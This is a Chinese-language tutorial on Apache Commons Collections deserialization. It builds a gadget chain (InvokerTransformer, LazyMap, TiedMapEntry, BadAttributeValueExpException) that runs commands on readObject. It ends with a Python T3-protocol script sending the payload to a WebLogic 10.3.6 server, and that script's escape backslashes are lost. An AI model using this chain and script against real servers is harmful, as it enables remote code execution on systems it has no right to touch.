tags: javasec
前言
结合经典的Commons Collections
反序列化漏洞来深入理解下反序列化的实际利用场景。
基础知识
Commons Collections
Commons Collections
在 jdk1.2
就引入的一个 jar
包,提供的强大的数据结构支持,在很多实际项目中都很常见。
序列化与反序列化
-
序列化:将对象写入到
IO
流中,创建一个ObjectOutputStream
输出流,调用ObjectOutputStream
对象的writeObject()
输出可序列化对象。 -
反序列化:从
IO
流中恢复对象。创建一个ObjectInputStream
输入流,调用ObjectInputStream
对象的readObject()
得到序列化的对象。
序列化机制允许将实现序列化的 Java
对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,在需要的场景下再恢复成原来的对象。序列化和反序列化函数本身不存在漏洞,但是如果在序列化数据可控的情况下进行了反序列化就可能带来任意代码执行。
反射
根据前面的学习,反射就是灵活的获取并使用Class
。
Transformer
Transformer
是一个特殊的接口,其中定义的 transform()
函数用来将一个对象转换成另一个对象。
public interface Transformer {
Object transform(Object var1);
}
本地有前提利用
首先我们先本地试试利用 Commons Collections
来实现命令执行。
InvokerTransformer
InvokerTransformer
类实现了 Transformer
和 Serializable
,其中关键部分的代码如下:
// 构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
……
// 反射调用method关键代码
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// 当input是一个类的实例对象时,获取到的是这个类
// 当input是一个类时,获取到的是java.lang.Class
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
java
做命令执行的一般形式如下:
java.lang.Runtime.getRuntime.exec("cmd");
通过 InvokerTransformer
的反射链我们可以对应的构造如下的输入来形成命令执行的语句:
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="notepad.exe"
而刚好上面的 InvokerTransformer
就有对 iMethodName
、iParamTypes
、iArgs
的赋值操作,简单写个直接调用InvokerTransformer
的实例:
public class testInvokeTransformer {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
InvokerTransformer test = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"notepad.exe"});
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
test.transform(input);
}
}
运行即可运行本地记事本。
ChainedTransformer
ChainedTransformer
会实例化传入的Transformer
类型的数组,调用其transform
方法挨个调用数组中对象的transform
方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用transform
方法时的参数是用户传入的。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
利用 ChainedTransformer
和前面的 InvokerTransformer
也可以实现命令执行:
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"notepad.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
这里可以跟进下这个 demo
的执行过程,首先是完成 transformers
数组的初始化,然后使用 new
创建一个实例对象,接下来传入 Runtime.getRuntime()
来调用ChainedTransformer
的 transform
方法,进到 for
循环里面。transformers
数组就 1 个 InvokerTransformer
的对象实例,对应的它就会去执行 InvokerTransformer
的 transform
方法完成反射调用。
反序列化利用
接下来再按照实际场景比较常见的反序列化的利用方式实现:
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"notepad.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform(Runtime.getRuntime());
//System.out.println(Runtime.getRuntime());
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(Runtime.getRuntime());
不过这里有点太过于一厢情愿了,存在于以下 2 个利用前提:
-
执行
transform
带上了Runtime.getRuntime()
参数; -
反序列化数据执行了
transform;
现在先减少一个前提,把 getRuntime()
放到反序列化数据中去试试。这就需要用到另外一个transform
类ConstantTransformer。
ConstantTransformer 干掉前提1
ConstantTransformer
类既实现了 Transformer
也实现了 Serializable
,它的构造函数会将传入参数定义为类的变量,然后 transform
又返回,可以理解为给啥就回啥。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
那我们就可以把 Runtime
实例写入ConstantTransformer
的变量中,然后将其 ChainedTransformer
对象的第一个参数,最后形成的片段如下:
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"notepad.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform(Runtime.getRuntime());
//System.out.println(Runtime.getRuntime());
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(0);
接下来再继续尝试将payload
反序列化操作:
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"notepad.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
结果因为Runtime
没有实现Serializable
而序列化失败。
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
所以目前直接写入Runtime
实例的办法是行不通了,需要在transforms
中利用ChainedTransformer
的循环调用与InvokerTransformer
的反射 。反射调用Runtime
的一句话如下:
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime")),"notepad.exe");
具体逻辑如下:
-
首先传入
Runtime
类作为数组第一位,经过第一轮for
循环,返回的的Runtime
类作为输入参数到第二轮for
循环; -
第二轮循环就得进入到
InvokeTransformer
里面进行反射,构造函数进行初始化传入的iMethodName
参数是getMethod
,iArgs
参数是getRuntime()
,利用反射调用生成了一个方法java.lang.Runtime.getRuntime()
接下来就使用这个方法继续作为参数进到下一次transform
函数; -
第三轮循环里传入的
iMethodName
参数是invoke
,通过反射调用最终在InvokeTransformer
里面返回一个Runtime
的对象,接下来这个对象会作为input
参数被传到下一次的执行中。 -
第四轮的
input
是Runtime
的实例对象,可以直接调用exec
,因此传入iMethodName
参数是exec
,iArgs
是notepad.exe
。
自此为止,经过 4 轮调用之后,就可以成功的利用反射加载 Runtime
并实现命令执行啦,将 3 次在InvokerTransformer
中执行 transform
的过程简单化的结果如下:
//第二轮for循环
// new InvokerTransformer("getMethod",
// new Class[] {String.class, Class[].class },
// new Object[] {"getRuntime", new Class[0] }),
//a就是input
Class a = Class.forName("java.lang.Runtime");
Class cls2 = a.getClass();
Method method2 = cls2.getMethod("getMethod", new Class[] {String.class, Class[].class });
Object for2 = method2.invoke(a,new Object[] {"getRuntime", new Class[0] });
// 第三轮for循环
// new InvokerTransformer("invoke",
// new Class[] {Object.class, Object[].class },
// new Object[] {null, new Object[0] })
// b就是input
Method b = (Method) for2;
Class cls = b.getClass();
Method method = cls.getMethod("invoke", Object.class, Object[].class);
Object ma = method.invoke(b, new Object[]{null, new Object[0]});
System.out.println(ma.toString());
Runtime arun =Runtime.getRuntime();
//第四轮for循环
// new InvokerTransformer("exec",
// new Class[] {String.class },
// new Object[] {"notepad.exe"})
ma.getClass().getMethod("exec", String.class).invoke(ma, "notepad.exe");
解决了反序列化与命令执行的问题了,接下来就得找执行 transform
函数的利用链了。
LazyMap 干掉前提2
以ysoserial
为例,其中的 CommonsCollections1
的 gadgets
利用的是 LazyMap
,在 orgapachecommonscollectionsmapLazyMap.class
中关键的2个函数如下:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里可以直接传入参数到 LazyMap
的构造函数其中factory
参数设为ChainedTransformer
,然后调用 get
就会实现调用对应对象的 transform
方法,问题又来到了找调用 get
方法的函数了。
在 TiedMapEntry
类中的 toString
方法会调用 getValue
方法,而 getValue
就有调用 get
方法,所以这里如果想要自动化的完成反序列化的触发只需要使用 System.out.println
来打印一下反序列化的值就可以完成 transform
的自动触发。
为了彻底的干掉前提 2 就得想办法找会自动调用 toString
的方法,在BadAttributeValueExpException
中的readObject
方法代码片段如下:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到在第二个 if-else
块里面会调用 toString
方法,这里我们只需要确保不调用setSecurityManager
或者setSecurityManager0
即可确保getSecurityManager
的返回值是null
从而进入到对应的if-else
块。
要利用BadAttributeValueExpException
还得用反射将val
的值设置为前面我们TiedMapEntry
的实例对象,最终的payload
如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{"exec", new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"/usr/bin/gnome-calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,entry);
FileOutputStream fout = new FileOutputStream("payload.bin");
ObjectOutputStream obout = new ObjectOutputStream(fout);
obout.writeObject(badAttributeValueExpException);
//服务端反序列化payload读取
FileInputStream fin = new FileInputStream("payload.bin");
ObjectInputStream obin = new ObjectInputStream(fin);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
obin.readObject();
obin.close();
远程利用完成
自此,我们已经完成了利用链的分析构造,可以直接利用这个模板来进行序列化payload
传递给某些反序列化场景进行利用了。这里用 weblogic 10.3.6
来做反序列化触发,搭好weblogic
之后访问 http://x.x.x.x:7001/console/login/LoginForm.jsp 出现登录界面就算搭建成功。在这个版本默认会开启 t3
协议,我们可以直接使用t3协议把我们序列化好的数据发送过去,weblogic
进行反序列化之后就会实现命令执行。
t3
协议利用脚本如下:
#!/usr/bin/python
import socket
import sys
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ("x.x.x.x", 7001)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1nAS:255nHL:19nMS:10000000nPU:t3://us-l-breens:7001nn'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open("./payload.bin",'rb').read()
payload='x00x00x09xf3x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'
payload=payload+payloadObj
payload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'
# adjust header for appropriate message length
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
print 'sending payload...'
sock.send(payload)
运行该脚本即可触发命令执行:
后续会在以此为基础进行ysoserial
相关利用链的分析。
参考链接
https://xz.aliyun.com/t/7031
[https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md](https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md)
https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/
https://www.cnblogs.com/litlife/p/12571787.html#commonscollections1
https://javasec.org/javase/DynamicProxy/DynamicProxy.html
本文始发于微信公众号(顺丰安全应急响应中心):Commons Collections 反序列化入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论